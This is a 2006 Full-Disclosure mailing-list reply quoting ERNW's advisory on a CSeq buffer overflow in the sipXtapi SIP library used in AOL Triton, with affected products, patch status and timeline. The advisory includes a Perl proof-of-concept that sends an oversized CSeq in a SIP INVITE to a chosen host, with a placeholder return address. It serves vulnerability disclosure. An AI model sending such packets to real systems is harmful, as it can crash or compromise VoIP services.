full-disclosure - ERNW Security Advisory 02/2006 - Buffer Overflow in sipXtapi (used in AOL Triton)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <d3a62f6f0607100149o37e5eef7gd9bf9ce1d1878753@mail.gmail.com>
Date: Mon Jul 10 09:49:17 2006
From: testdrive6 at gmail.com (Test Drive)
Subject: ERNW Security Advisory 02/2006 - Buffer
	Overflow in sipXtapi (used in AOL Triton)

is there an official notification from sipX?
I dont see any mention to this vulnerability in the changelog


On 7/10/06, mozilla@...-guide.de <mozilla@...-guide.de> wrote:
>
> ERNW Security Advisory 02-2006
>
> Buffer Overflow in SIP Foundry's SipXtapi
>
> Author:
> Michael Thumann <mthumann[at]ernw.de>
> Homepage: www.ernw.de
>
> 1. Summary:
> The sipXtapi library from sip foundry contains a buffer overflow when
> parsing the CSeq field.
> This flaw can be used by  an attacker to gain control over EIP and execute
> arbitrary code.
>
> 2. Severity : Critical
>
> 3. Products affected
> - sipXtapi: all version compiled before 24 of march 2006
> - PingTel products
> - AOL Triton
>
> 4. Patch Availability :
> A patch is available within the source tree and the affected products of
> PingTel and AOL
> have beed updated.
>
> 5. Details
> Sending a CSeq field value greater than 24 bytes triggers the buffer
> ovlerflow condition.
>
> 6. Solution
> Update the affected products to the actual version.
>
> 7. Time-Line
> 20 Mar 2006: Vulnerability reported to vendor
> 20 Mar 2006: Answer from vendor
> 24 Mar 2006: Patch available
> 10 July 2006: Public Disclosure
>
> 8. Exploit
> #!/usr/bin/perl
> # PoC Exploit By mthumann@...w.de
> # Remote Buffer Overflow in sipXtapi
>
> use IO::Socket;
> #use strict;
>
>
> print "sipXtapi Exploit by Michael Thumann \n\n";
>
> if (not $ARGV[0]) {
>         print "Usage: sipx.pl <host>\n";
> exit;}
>
> $target=$ARGV[0];
> my $source ="127.0.0.1";
> my $target_port = 5060;
> my $user ="bad";
> my $eip="\x41\x41\x41\x41";
> my $cseq =
> "\x31\x31\x35\x37\x39\x32\x30\x38".
> "\x39\x32\x33\x37\x33\x31\x36\x31".
> "\x39\x35\x34\x32\x33\x35\x37\x30".
> $eip;
> my $packet =<<END;
> INVITE sip:user\@$source SIP/2.0\r
> To: <sip:$target:$target_port>\r
> Via: SIP/2.0/UDP $target:3277\r
> From: "moz"<sip:$target:3277>\r
> Call-ID: 3121$target\r
> CSeq: $cseq\r
> Max-Forwards: 70\r
> Contact: <sip:$source:5059>\r
> \r
> END
>
> print "Sending Packet to: " . $target . "\n\n";
> socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
> my $ipaddr = inet_aton($target);
> my $sendto = sockaddr_in($target_port,$ipaddr);
> send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
> $target : $target_port : $!\n";
> print "Done.\n";
>
> 9. Thanks
> We would like to thank the guys from sip foundry for working together on
> this issue in a professional and
> responsible way.
>
> 10. Disclaimer
> The informations in this advisory are provided "AS IS" without warranty
> of any kind. In no event shall the authors be liable for any damages
> whatsoever including direct, indirect, incidental, consequential,
> loss of business profits or special damages due to the misuse of any
> information provided in this advisory.
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060710/97e72ba8/attachment-0001.html